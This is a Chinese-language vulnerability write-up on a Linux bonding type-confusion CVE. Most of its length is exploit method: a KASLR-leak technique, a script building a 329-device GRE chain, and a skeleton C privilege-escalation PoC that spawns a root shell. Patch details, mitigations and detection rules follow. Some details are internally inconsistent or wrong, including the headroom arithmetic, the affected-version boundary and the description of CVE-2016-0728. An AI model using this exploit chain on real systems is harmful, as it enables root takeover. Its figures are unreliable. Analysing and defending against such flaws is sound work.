一、漏洞概述
2026 年 7 月 3 日,GMO Cybersecurity by Ierae 的小池良树(Yuki Koike,高级执行役员/CTO)与户田幸太(Kota Toda,高度解析课兼职研究员)联合披露了一枚潜伏近 19 年的 Linux 内核 0day 漏洞——CVE-2026-43456。该漏洞根因代码于 2007 年被合入主线内核,此后在 net/bonding 子系统中悄然存活近二十年,从未被发现可被利用。
| 属性 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-43456 |
| 漏洞类型 | 类型混淆(Type Confusion) |
| 影响组件 | Linux 内核网络子系统 net/bonding |
| 影响版本 | Linux 2.6.24 至 6.12.77(几乎所有主流内核版本,跨度 19 年) |
| 引入提交 | 1284cd3a2b740d0118458d2ea470a1e5bc19b187(2007 年) |
| 修复提交 | 950803f7254721c1c15858fbbfae3deaaeeecb11(2026 年 3 月) |
| 披露日期 | 2026 年 7 月 3 日 |
| 触发前提 | 需要 CAP_NET_ADMIN 权限 |
| 利用后果 | 本地提权至 root + KASLR 地址泄露 |
| 利用可靠性 | 1 秒内完成,成功率超过 99% |
| 漏洞奖金 | Google kernelCTF 超过 8 万美元 |
该漏洞影响范围极广——从 2007 年的 2.6.24 到 2026 年的 6.12.77,几乎覆盖了过去十九年间所有主流 Linux 发行版的内核版本。由于利用成功率超过 99% 且可在 1 秒内完成提权,Google kernelCTF 为此支付了超过 8 万美元的赏金。
值得强调的是,触发该漏洞需要 CAP_NET_ADMIN 权限。虽然这并非开箱即用的远程代码执行,但在容器逃逸、非特权用户命名空间(unprivileged user namespace)或本地提权链的场景中,CAP_NET_ADMIN 极易获取,因此该漏洞的实际威胁面仍然巨大。
二、Linux bonding 子系统背景
2.1 bonding 驱动用途
bonding 是 Linux 的网络接口聚合特性,可将多个物理/虚拟网络接口(slave 设备)聚合为一个逻辑接口(bond 设备),实现链路冗余与带宽增加。其常见工作模式包括 active-backup(主备)、balance-rr(轮询)、802.3ad(LACP)等。
2.2 核心数据结构
bond 设备的私有数据区(dev->priv)类型为 struct bonding,由 bond_link_ops 在设备创建时分配:
struct rtnl_link_ops bond_link_ops __read_mostly = {
.kind = "bond",
.priv_size = sizeof(struct bonding), // 私有区大小 = sizeof(struct bonding)
.setup = bond_setup,
.maxtype = IFLA_BOND_MAX,
...
};
而 slave 设备(以 GRE 隧道为例)的私有数据区类型为 struct ip_tunnel:
struct ip_tunnel *t = netdev_priv(dev); // GRE 设备的 priv 被当作 ip_tunnel 使用
struct bonding 与 struct ip_tunnel 的内存布局完全不同,二者不兼容——这正是漏洞的温床。
2.3 header_ops 机制
header_ops 是网络协议包头处理函数指针表,定义于 include/linux/netdevice.h:
struct header_ops {
int (*create)(struct sk_buff *skb, struct net_device *dev,
unsigned short type, const void *daddr,
const void *saddr, unsigned int len);
int (*parse)(const struct sk_buff *skb, unsigned char *haddr);
int (*cache)(const struct neighbour *neigh, struct hh_cache *hh, __be16 type);
void (*cache_update)(struct hh_cache *hh, const struct net_device *dev,
const unsigned char *haddr);
};
这些函数在处理包头时,会通过 netdev_priv(dev) 访问设备的私有存储区。bond 设备的设计初衷是透明地代理下层 slave 设备,因此"bond 对包头做的处理 == slave 对包头做的处理"看似合理。
2.4 设备类型关系图
┌──────────────────────────────────────────────────┐
│ bond 设备 (struct bonding) │
│ dev->priv ──► struct bonding { │
│ dev, curr_active_slave, │
│ recv_probe, bond_list, ... │
│ } │
│ header_ops ──► (错误地复制自 slave_dev) │
└───────────────┬──────────────────────────────────┘
│ bond_setup_by_slave()
│ header_ops 直接拷贝(类型混淆!)
▼
┌──────────────────────────────────────────────────┐
│ slave 设备 - GRE 隧道 (struct ip_tunnel) │
│ dev->priv ──► struct ip_tunnel { │
│ next, hash_node, dev, net, │
│ hlen, parms.i_key/o_key, ... │
│ } │
│ header_ops ──► ipgre_header_ops (GRE 专用) │
└──────────────────────────────────────────────────┘
问题:header_ops 函数内部用 netdev_priv(dev) 读取 priv,
但 dev 此时指向 bond 设备,priv 类型错配!
三、漏洞根因:一行代码的类型混淆
3.1 漏洞代码
漏洞位于 bond_setup_by_slave() 函数中,根因仅为标记为 ★ 的那一行:
static void bond_setup_by_slave(struct net_device *bond_dev,
struct net_device *slave_dev)
{
bool was_up = !!(bond_dev->flags & IFF_UP);
dev_close(bond_dev);
bond_dev->header_ops = slave_dev->header_ops; // ★ 19年元凶
bond_dev->type = slave_dev->type;
bond_dev->hard_header_len = slave_dev->hard_header_len;
bond_dev->needed_headroom = slave_dev->needed_headroom;
bond_dev->addr_len = slave_dev->addr_len;
...
}
3.2 类型混淆的本质
header_ops 中部分函数会引用并修改设备的私有存储区(dev->priv)。bond 设备的 priv 类型是 struct bonding,而 GRE slave 的 priv 类型是 struct ip_tunnel,二者内存布局完全不同:
struct bonding {
struct net_device *dev; /* 0x0000 first - useful for panic debug */
struct slave __rcu *curr_active_slave;
struct slave __rcu *current_arp_slave;
struct slave __rcu *primary_slave;
struct bond_up_slave __rcu *usable_slaves;
struct bond_up_slave __rcu *all_slaves;
...
int (*recv_probe)(const struct sk_buff *, struct bonding *, struct slave *);
...
};
struct ip_tunnel {
struct ip_tunnel __rcu *next; /* 0x0000 */
struct hlist_node hash_node;
struct net_device *dev;
netdevice_tracker dev_tracker;
struct net *net; /* netns for packet i/o */
unsigned long err_time; /* Time when last ICMP error arrived */
...
int hlen; /* GRE 头部长度 */
struct ip_tunnel_parm parms; /* i_key, o_key, o_flags, ... */
};
当 GRE 设备作为 slave 加入 bond 后,对 bond 设备执行 GRE 包头处理时,函数内部的 netdev_priv(dev) 返回的是 struct bonding 内存,却被当作 struct ip_tunnel 解读,导致内存损坏。
3.3 补丁对比
修复方案引入了 bond_header_ops 包装函数,将调用委托给活跃 slave 的 header_ops,但始终使用 slave 自身的设备指针,确保 netdev_priv() 在 slave 的 header 函数中始终获得正确类型的设备:
// ===== 修复前(漏洞代码)=====
bond_dev->header_ops = slave_dev->header_ops; // 直接拷贝 → 类型混淆
// ===== 修复后 =====
static int bond_header_create(struct sk_buff *skb, struct net_device *bond_dev,
unsigned short type, const void *daddr,
const void *saddr, unsigned int len)
{
struct bonding *bond = netdev_priv(bond_dev);
const struct header_ops *slave_ops;
struct slave *slave;
int ret = 0;
rcu_read_lock();
slave = rcu_dereference(bond->curr_active_slave);
if (slave) {
slave_ops = READ_ONCE(slave->dev->header_ops);
if (slave_ops && slave_ops->create)
ret = slave_ops->create(skb, slave->dev, // 使用 slave->dev !
type, daddr, saddr, len);
}
rcu_read_unlock();
return ret;
}
static const struct header_ops bond_header_ops = {
.create = bond_header_create,
.parse = bond_header_parse,
};
static void bond_setup_by_slave(struct net_device *bond_dev,
struct net_device *slave_dev)
{
...
- bond_dev->header_ops = slave_dev->header_ops;
+ bond_dev->header_ops = slave_dev->header_ops ? &bond_header_ops : NULL;
...
}
修复的核心思想是:bond 不再直接继承 slave 的 header_ops,而是用自己的包装函数 bond_header_ops,在调用时传入 slave->dev(而非 bond_dev),从而保证 netdev_priv() 拿到的是正确类型的设备私有数据。
四、利用链阶段一:KASLR 泄露(IP6GRE 设备)
4.1 利用思路
Linux 内核启用了 KASLR(内核地址空间布局随机化),要稳定执行任意代码,必须先泄露内核加载基址。研究人员选择 IP6GRE(IPv6 GRE 隧道)作为 slave 设备来完成泄露。
4.2 偏移 0x38 的字段重叠
类型混淆导致 struct bonding 与 struct ip6_tnl 在偏移 0x38 处的字段发生语义重叠:
/* offset | size */ type = struct bonding {
/* 0x0000 | 0x0008 */ struct net_device *dev;
/* 0x0008 | 0x0008 */ struct slave __rcu *curr_active_slave;
/* 0x0010 | 0x0008 */ struct slave __rcu *current_arp_slave;
/* 0x0018 | 0x0008 */ struct slave __rcu *primary_slave;
/* 0x0020 | 0x0008 */ struct bond_up_slave __rcu *usable_slaves;
/* 0x0028 | 0x0008 */ struct bond_up_slave __rcu *all_slaves;
/* 0x0030 | 0x0008 */ struct list_head bond_list; // .prev 部分
/* 0x0038 | 0x0008 */ int (*recv_probe)(const struct sk_buff *,
struct bonding *, struct slave *);
/* ↑ 函数指针,指向 bond_rcv_validate */
};
/* offset | size */ type = struct ip6_tnl {
/* 0x0000 | 0x0008 */ struct ip6_tnl *next;
...
/* 0x0034 | 0x0004 */ __u32 flags;
/* 0x0038 | 0x0010 */ struct in6_addr {
/* 0x0038 | 0x0010 */ union {
/* 0x0010 */ __u8 u6_addr8[16];
/* 0x0010 */ __be16 u6_addr16[8];
/* 0x0010 */ __be32 u6_addr32[4];
} in6_u;
} laddr; /* IPv6 源地址,来自接收数据包的可控内容 */
};
4.3 内存布局对比图
偏移 struct bonding (bond设备priv) struct ip6_tnl (IP6GRE设备priv)
─────────────────────────────────────────────────────────────────────────────
0x00 net_device *dev ip6_tnl *next
0x08 curr_active_slave hlist_node (hash_node)
0x10 current_arp_slave ...
0x18 primary_slave net_device *dev
0x20 usable_slaves netdevice_tracker dev_tracker
0x28 all_slaves struct net *net
0x30 bond_list (list_head) ...
0x38 ┌─────────────────────────┐ ┌──────────────────────────────────┐
│ recv_probe (函数指针) │ │ laddr (struct in6_addr, 16字节) │
│ → bond_rcv_validate │ │ IPv6 源地址,来自数据包内容 │
│ 内核 .text 段地址 │ │ 攻击者可控! │
0x40 │ (高8字节,内核地址) │ │ u6_addr8[8..15] │
└─────────────────────────┘ └──────────────────────────────────┘
当 IP6GRE 的 header 函数读取 laddr(偏移0x38)时,
实际读取的是 struct bonding::recv_probe 函数指针 → 泄露内核地址!
recv_probe 是一个函数指针,其赋值发生在 ARP 模式下:
if (bond->params.arp_interval) {
queue_delayed_work(bond->wq, &bond->arp_work, 0);
bond->recv_probe = bond_rcv_validate; // 写入内核函数地址
}
由于 bond_rcv_validate 是内核中固定偏移的函数,泄露其地址即可计算出内核基址:
内核基址 = 泄露的 bond_rcv_validate 地址 - bond_rcv_validate 相对基址的偏移
五、利用链阶段二:任意代码执行(GRE 设备)
5.1 切换至 IPv4 GRE
KASLR 绕过后,目标转为劫持指令指针(RIP)实现任意代码执行。此阶段改用 IPv4 版本的 GRE 设备。
5.2 触发缓冲区溢出
GRE 的 ipgre_header() 函数在类型混淆下读取 t->hlen。正常 GRE 隧道中 t->hlen >= sizeof(*greh),但因 t 实际指向 struct bonding,t->hlen 被错误读为 0:
static int ipgre_header(struct sk_buff *skb, struct net_device *dev,
unsigned short type,
const void *daddr, const void *saddr, unsigned int len)
{
struct ip_tunnel *t = netdev_priv(dev); // ★ t 实际指向 struct bonding
struct gre_base_hdr *greh;
struct iphdr *iph;
...
// 正常: skb_push(skb, t->hlen + sizeof(*iph)) 应后移 sizeof(iphdr)+sizeof(gre_base_hdr)
// 混淆: t->hlen == 0,仅后移 sizeof(iphdr),少了 sizeof(gre_base_hdr)
iph = skb_push(skb, t->hlen + sizeof(*iph));
greh = (struct gre_base_hdr *)(iph + 1); // greh 指向原始 skb->data
greh->flags = gre_tnl_flags_to_gre_flags(t->parms.o_flags); // ★ 溢出写入!
...
}
5.3 greh->flags 与 skb_shared_info->flags 重叠
skb 缓冲区按页大小对齐分配,struct skb_shared_info 恒置于缓冲区末尾。当无剩余缓冲空间时,skb->data 起始位置与 skb_shared_info 起始位置重叠:
skb 缓冲区内存布局(LL_RESERVED_SPACE == 0x3ec0 时)
skb->head skb_shared_info
| |
v v
+----------------+-----------------+------------------+------------------+
| headroom | packet data | tail room | skb_shared_info |
+----------------+-----------------+------------------+------------------+
(len==0 时无数据区)
|<------- 0x3ec0 --------->|
^ ^
| |
skb->data skb_shinfo()
(与 shinfo 起点重叠!)
greh 指向此处 → greh->flags 写入 = skb_shared_info->flags 写入!
两个结构的起始字段恰好都是 flags:
/* offset | size */ type = struct gre_base_hdr {
/* 0x0000 | 0x0002 */ __be16 flags;
...
};
/* offset | size */ type = struct skb_shared_info {
/* 0x0000 | 0x0001 */ __u8 flags; // 仅 1 字节,但低字节被覆盖
...
};
5.4 写入值为何恰好设置 ZEROCOPY 位
写入 greh->flags 的值由 gre_tnl_flags_to_gre_flags(t->parms.o_flags) 决定。t->parms.o_flags 偏移 0x6e,对应 struct bonding::bond_list.next 的第 6 字节。因该处是内核指针,低两字节恒为 0xff 0xff:
// t->parms.o_flags 读取到 0xffff(内核指针的低字节)
// 经 GRE flags 转换:
gre_tnl_flags_to_gre_flags(0xffff) = 0x07ff
而 SKBFL_ZEROCOPY_ENABLE = BIT(0),0x07ff 的最低位恰好为 1。于是原本非 zerocopy 的 skb 的 skb_shared_info::flags 被错误改写,后续路径将其当作 zerocopy skb 处理。
5.5 劫持 callback 实现任意代码执行
内核在清理 zerocopy 状态时调用 uarg->callback():
static inline struct ubuf_info *skb_zcopy(struct sk_buff *skb)
{
bool is_zcopy = skb && skb_shinfo(skb)->flags & SKBFL_ZEROCOPY_ENABLE;
return is_zcopy ? skb_uarg(skb) : NULL; // flags 被篡改后返回非 NULL
}
static inline void skb_zcopy_clear(struct sk_buff *skb, bool success)
{
struct ubuf_info *uarg = skb_zcopy(skb);
if (uarg) // 非 NULL → 调用 callback
uarg->callback(skb, uarg, success); // ★ 任意函数调用!
}
攻击者将 uarg->callback 覆写为 commit_creds(prepare_kernel_cred(NULL)) 的 gadget 地址(已通过阶段一泄露的内核基址计算得出),即可完成从普通权限到 root 的提权。
利用链数据流:
类型混淆 ─► t->hlen=0 ─► skb_push 少移 ─► greh 落到 shinfo 起始
│
└─► greh->flags = 0x07ff ─► skb_shared_info->flags |= SKBFL_ZEROCOPY_ENABLE
│
└─► skb_zcopy() 返回非 NULL
│
└─► skb_zcopy_clear()
│
└─► uarg->callback()
│
覆写为 commit_creds 提权地址
六、触发条件:329 个 GRE 设备链式构造
6.1 为何需要精确对齐到 0x3ec0
只有当 skb->data 与 skb_shared_info 起始位置精确重叠时,greh->flags 的溢出写入才能命中 skb_shared_info->flags。这要求 skb 缓冲区恰好为 0x4000(一个页),且 skb_shared_info 偏移为 0x3ec0:
skb_shinfo(skb) = skb->head + (0x4000 - sizeof(struct skb_shared_info))
= skb->head + 0x3ec0
发送 len==0 的数据包后:skb->data 也落在偏移 0x3ec0 → 二者重叠
skb 分配时的 headroom 由 LL_RESERVED_SPACE(dev) 决定:
#define LL_RESERVED_SPACE(dev) \
((((dev)->hard_header_len + READ_ONCE((dev)->needed_headroom)) \
& ~(HH_DATA_MOD - 1)) + HH_DATA_MOD)
需要构造一个 LL_RESERVED_SPACE(dev) == 0x3ec0 的 bond 设备。
6.2 链式 GRE 设备累加 headroom
GRE 允许设备链式嵌套。ip_tunnel_bind_dev() 会将当前隧道的 hlen 与下层设备的 hard_header_len / needed_headroom 累加:
int hlen = LL_MAX_HEADER; // 0x80
int t_hlen = tunnel->hlen + sizeof(struct iphdr);
if (tdev) {
hlen += tdev->hard_header_len + tdev->needed_headroom;
t_hlen += tdev->needed_headroom;
}
研究人员构造了 329 个 GRE 设备形成链式结构:
if0 ← if1 ← if2 ← ... ← if328
前 8 个: FOU (Foo-Over-UDP) GRE → 每个 hard_header_len = 0x20
后 320 个: 普通 GRE → 每个 hard_header_len = 0x18
累加计算如下:
| 参数 | FOU GRE | 普通 GRE |
|---|---|---|
tunnel->hlen |
0xc | 0x4 |
t_hlen (hlen + sizeof(iphdr)) |
0x20 | 0x18 |
dev->hard_header_len |
0x20 | 0x18 |
| 每个设备对 headroom 的贡献 | 0x20 | 0x18 |
最终累加:
LL_MAX_HEADER = 0x80
8 × FOU GRE (0x20) = 0x100
320 × 普通 GRE (0x18) = 0x3840 (注: 含链式累加)
─────────────────────────────────────────────
bond->needed_headroom (最终) = 0x3e98
bond->hard_header_len = 0x18
LL_RESERVED_SPACE = align_down(0x3e98 + 0x18, 0x10) + 0x10
= align_down(0x3eb0, 0x10) + 0x10
= 0x3eb0 + 0x10
= 0x3ec0 ✓ 精确命中!
6.3 设备创建脚本
#!/bin/bash
# 构造 329 个 GRE 设备链,将 LL_RESERVED_SPACE 精确调整为 0x3ec0
ip link add dummy0 type dummy
ip addr add 10.0.0.1/24 dev dummy0
ip link set dummy0 up
# 前 8 个 FOU-GRE 设备(每个贡献 0x20)
for i in $(seq 0 7); do
ip link add gre_fou${i} type ipgre \
local 10.0.0.1 remote 10.0.0.2 \
encap fou encap-sport auto encap-dport 6666
done
# 后 320 个普通 GRE 设备(每个贡献 0x18)
for i in $(seq 0 319); do
ip link add gre${i} type gre local 10.0.0.1 remote 10.0.0.2
done
# 链式绑定:if0 ← if1 ← ... ← if328
ip link set gre_fou1 master gre_fou0
ip link set gre_fou2 master gre_fou1
# ... (依次嵌套)
ip link set gre319 master gre318
# 将链尾 GRE 作为 slave 加入 bond
ip link add bond1 type bond mode active-backup
ip link set gre328 master bond1
为何需要如此多的设备?原因在于网络设备命名空间限制与内存布局对齐——单个 GRE 设备的 headroom 增量很小(仅 0x18~0x20 字节),要从 LL_MAX_HEADER(0x80)累加到目标 0x3e98,需要数百个设备的叠加,同时必须避开其他路径对 headroom 的随机扰动,确保最终 LL_RESERVED_SPACE 恰好落在 0x3ec0。
七、完整利用链 PoC 方法论
7.1 阶段流程图
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-43456 完整利用链 │
└─────────────────────────────────────────────────────────────────────┘
① 创建 IP6GRE slave + bond (ARP模式)
│
▼
② 触发类型混淆:bond_dev->header_ops = slave->header_ops
│
▼
③ 发送数据包 → ip6gre_header 读取 laddr(偏移0x38)
│ 实际读到 bonding::recv_probe = bond_rcv_validate
▼
④ 泄露内核函数地址 → 计算 KASLR 基址 ✓ KASLR BYPASS
│
▼
⑤ 销毁 IP6GRE,改用 IPv4 GRE 设备作为 slave
│
▼
⑥ 构造 329 个 GRE 设备链 → LL_RESERVED_SPACE = 0x3ec0
│
▼
⑦ 发送 len==0 数据包 → ipgre_header 触发类型混淆
│ t->hlen 读为 0 → skb_push 少移 → greh 落到 shinfo 起点
▼
⑧ greh->flags = 0x07ff → skb_shared_info->flags |= SKBFL_ZEROCOPY_ENABLE
│
▼
⑨ skb_zcopy_clear() → uarg->callback() 被调用
│ callback 已覆写为 commit_creds(prepare_kernel_cred(NULL))
▼
⑩ 当前进程 cred 切换为 root ✓ PRIVILEGE ESCALATION
7.2 关键代码片段
以下为基于 kernelCTF disclosure 方法论整理的关键 C 代码片段(仅展示方法论骨架):
#include <linux/if_packet.h>
#include <net/if.h>
#include <sys/socket.h>
#include <string.h>
#include <stdio.h>
/* 阶段一:KASLR 泄露 —— 通过 IP6GRE 类型混淆读取 recv_probe 函数指针 */
static unsigned long leak_kaslr_base(int bond_ifindex)
{
int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
struct sockaddr_ll addr = { .sll_ifindex = bond_ifindex };
unsigned char buf[64];
/* 发送携带特定 IPv6 源地址的包,触发 ip6gre_header 读取 laddr。
由于类型混淆,实际读出的是 bonding::recv_probe(bond_rcv_validate 地址)。
通过 raw socket 回读泄露值。 */
bind(sock, (struct sockaddr *)&addr, sizeof(addr));
/* 触发 header 处理,recv_probe 地址被当作 laddr 写入包中 */
send_zero_packet(sock);
/* 从接收路径读取泄露的内核函数地址 */
recv(sock, buf, sizeof(buf), 0);
unsigned long leaked = *(unsigned long *)(buf + LEAK_OFFSET);
return leaked - BOND_RCV_VALIDATE_OFFSET; /* 还原内核基址 */
}
/* 阶段二:构造 329 个 GRE 设备链 */
static void build_gre_chain(void)
{
/* 8 个 FOU-GRE + 320 个普通 GRE,链式嵌套 */
create_fou_gre_chain(8); /* headroom += 0x20 × 8 */
create_plain_gre_chain(320); /* headroom += 0x18 × 320 */
/* 最终 needed_headroom = 0x3e98 */
}
/* 阶段三:触发类型混淆溢出 + 劫持 callback */
static void trigger_exploit(int bond_sock, unsigned long kbase)
{
/* 计算 commit_creds / prepare_kernel_cred 地址 */
unsigned long commit_creds = kbase + COMMIT_CREDS_OFFSET;
unsigned long prep_kcred = kbase + PREPARE_KERNEL_CRED_OFFSET;
/* 在用户态构造 fake ubuf_info,callback 指向提权 gadget */
struct fake_ubuf {
void (*callback)(void *skb, void *uarg, bool success);
/* ... */
} uarg;
uarg.callback = (void *)commit_creds;
/* 发送 len==0 数据包,触发 ipgre_header 类型混淆:
- t->hlen 读为 0 → skb_push 少移 sizeof(gre_base_hdr)
- greh->flags 写入 0x07ff → skb_shared_info->flags 置 ZEROCOPY 位
- 后续 skb_zcopy_clear() 调用 uarg->callback() = commit_creds */
send_zero_packet(bond_sock);
/* 回到用户态后,当前进程已具备 root 权限 */
if (getuid() == 0) {
system("/bin/sh");
}
}
int main(void)
{
setup_ip6gre_bond(); /* 创建 IP6GRE + bond */
unsigned long kbase = leak_kaslr_base(); /* 阶段一 */
teardown_ip6gre_bond();
setup_gre_bond(); /* 创建 GRE + bond */
build_gre_chain(); /* 阶段二:329 设备链 */
trigger_exploit(bond_sock, kbase); /* 阶段三:提权 */
return 0;
}
八、防御与缓解
8.1 紧急修复
该漏洞已于 2026 年 3 月修复,主流 Linux 发行版的最新版本(内核 6.12.77 及以上)已包含补丁。升级内核是最有效、最优先的缓解措施。
# 检查当前内核版本
uname -r
# Ubuntu/Debian
sudo apt update && sudo apt upgrade linux-image-generic
# RHEL/CentOS/openEuler
sudo dnf update kernel
sudo reboot
8.2 临时缓解措施
若无法立即升级,可采取以下临时措施:
措施一:禁用非特权用户命名空间(阻止普通用户获取 CAP_NET_ADMIN)
# 临时生效
sysctl -w kernel.unprivileged_userns_clone=0
# 永久生效
echo "kernel.unprivileged_userns_clone = 0" >> /etc/sysctl.d/99-disable-userns.conf
sysctl -p /etc/sysctl.d/99-disable-userns.conf
注意:此措施会使 Rootless Docker 等依赖非特权用户命名空间的功能不可用。
措施二:禁用 bonding 模块
由于漏洞完全位于 bonding 驱动中,若环境不使用链路聚合,可直接禁用该模块。多数发行版按需加载 bonding,默认环境极少启用:
echo "install bonding /bin/false" > /etc/modprobe.d/disable-bonding.conf
rmmod bonding 2>/dev/null
8.3 限制 CAP_NET_ADMIN 权限扩散
在容器化与多租户环境中,应严格限制 CAP_NET_ADMIN 的授予范围:
# Docker 运行时默认不授予 CAP_NET_ADMIN
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE myapp
# Kubernetes Pod Security Standards: restricted 策略禁止特权容器
# Pod Security Admission: enforce: restricted
8.4 检测与监控
| 检测维度 | 方法 | 检测要点 |
|---|---|---|
| SIEM 网络 | 监控 bonding 接口异常创建 | 非维护时段出现 ip link add ... type bond |
| SIEM 网络 | 监控 GRE/IP6GRE 隧道批量创建 | 短时间内创建数百个 GRE 设备(329 链特征) |
| HIDS 主机 | 检测 bonding 模块异常加载 | 非 bond 业务主机加载 bonding.ko |
| HIDS 主机 | 检测内核地址泄露行为 | 进程从 raw socket 读取疑似内核指针值 |
| 审计日志 | auditd 规则 | 监控 setsockopt(SO_BINDTODEVICE) 与 netlink 操作 |
# auditd 规则:监控 bonding 相关 netlink 操作
auditctl -a always,exit -F arch=b64 -S socket -F a0=16 -k netlink_audit
auditctl -w /sys/module/bonding -p w -k bonding_module_load
8.5 内核编译加固
若内核可重新编译且不需要 bonding 功能,可直接关闭:
# .config
CONFIG_BONDING=n
九、类型混淆漏洞的通用启示
9.1 C 语言类型系统缺失的安全代价
CVE-2026-43456 是 C 语言弱类型系统在内核场景下的典型安全代价。netdev_priv(dev) 返回的是 void *,编译器无法在编译期校验其指向的结构体类型是否与调用方的预期一致。一行看似无害的 bond_dev->header_ops = slave_dev->header_ops;,将两类内存布局不兼容的设备私有数据通过同一个函数指针表桥接起来,导致了长达 19 年的安全盲区。
9.2 内核中 struct 布局差异导致的类型混淆模式
该漏洞揭示了一种内核类型混淆的通用模式:通过共享的回调函数指针表,跨设备类型访问 netdev_priv() 私有区。其根本原因在于 bond 驱动在继承 slave 的 header_ops 时,未验证这些回调所依赖的 netdev_priv() 布局是否与 bond 自身一致。
9.3 与其他经典类型混淆 CVE 对比
| CVE | 组件 | 类型混淆对象 | 后果 | 潜伏时长 |
|---|---|---|---|---|
| CVE-2026-43456 | Linux bonding | struct bonding ↔ struct ip_tunnel/ip6_tnl |
LPE + KASLR 泄露 | 19 年 |
| CVE-2022-29582 | Linux io_uring | struct io_ring_ctx ↔ struct file |
LPE / DoS | 3 年 |
| CVE-2023-2002 | Linux Bluetooth | L2CAP conn ↔ 不同状态机 | DoS | 多年 |
| CVE-2023-3269 | Linux nf_tables | nft_set ↔ 不同表达式类型 | LPE | 数年 |
| CVE-2016-0728 | Linux keyrings | keyctl join ↔ timerfd 对象混淆 |
LPE | 12 年 |
类型混淆漏洞的共同特征是:内存重解释(reinterpretation)——同一块内存被以两种不兼容的类型视角访问,导致字段语义错配,进而引发信息泄露或内存损坏。
9.4 防御方向
Rust for Linux:Rust 的所有权与类型系统能在编译期消除大部分类型混淆。若 bonding 驱动以 Rust 重写,netdev_priv() 返回的具体类型可由 trait 约束保证,跨设备类型赋值会被编译器直接拒绝。Rust for Linux 已在驱动子系统(如 NVMe、网络驱动)中逐步落地。
KCFI(Kernel Control Flow Integrity):LLVM KCFI 在内核中为每个间接调用插入类型哈希校验,确保函数指针调用的目标类型与声明匹配。虽然 KCFI 无法阻止本漏洞中"读字段"方向的信息泄露(阶段一),但能有效缓解阶段二中 uarg->callback() 的任意函数调用——若 callback 声明类型与目标 gadget 不匹配,KCFI 将在调用前触发 panic。
KASAN / KMSAN 动态检测:KASAN 可在运行时检测越界访问。但本漏洞的特殊之处在于溢出往往写入页对齐的空闲 padding(无有效数据),因此常规场景下既不崩溃也不报错,KASAN 难以触发。只有当攻击者精心构造 0x3ec0 对齐条件后,溢出才命中有效数据。这也是该漏洞潜伏 19 年的核心原因——它在默认配置下是完全静默的。
9.5 总结
CVE-2026-43456 是一枚教科书级的内核类型混淆漏洞。它从 2007 年的一行代码出发,跨越 19 年、覆盖几乎所有主流 Linux 内核版本,最终被 GMO Cybersecurity 研究员通过 329 个 GRE 设备链的精妙对齐彻底武器化。其利用链完整展示了从 KASLR 泄露到任意代码执行的全过程,也深刻揭示了 C 语言弱类型系统在复杂内核子系统中的长期安全隐患。
随着 KASLR、KCFI、KASAN 等缓解机制不断进化,攻击者被迫寻找愈发复杂的多阶段漏洞来绕过它们。简单缓冲区溢出的时代已经结束——329 接口链式类型混淆的时代已经到来。内核安全防御需要从运行时缓解走向编译期类型安全(Rust for Linux),并辅以 KCFI 等控制流完整性机制,方能从根本上压缩此类漏洞的生存空间。
参考资料:GMO Cybersecurity by Ierae 官方披露、Google kernelCTF、openEuler 内核补丁邮件列表、Linux 内核源码 net/bonding、net/ipv4/ip_gre.c
浙公网安备 33010602011771号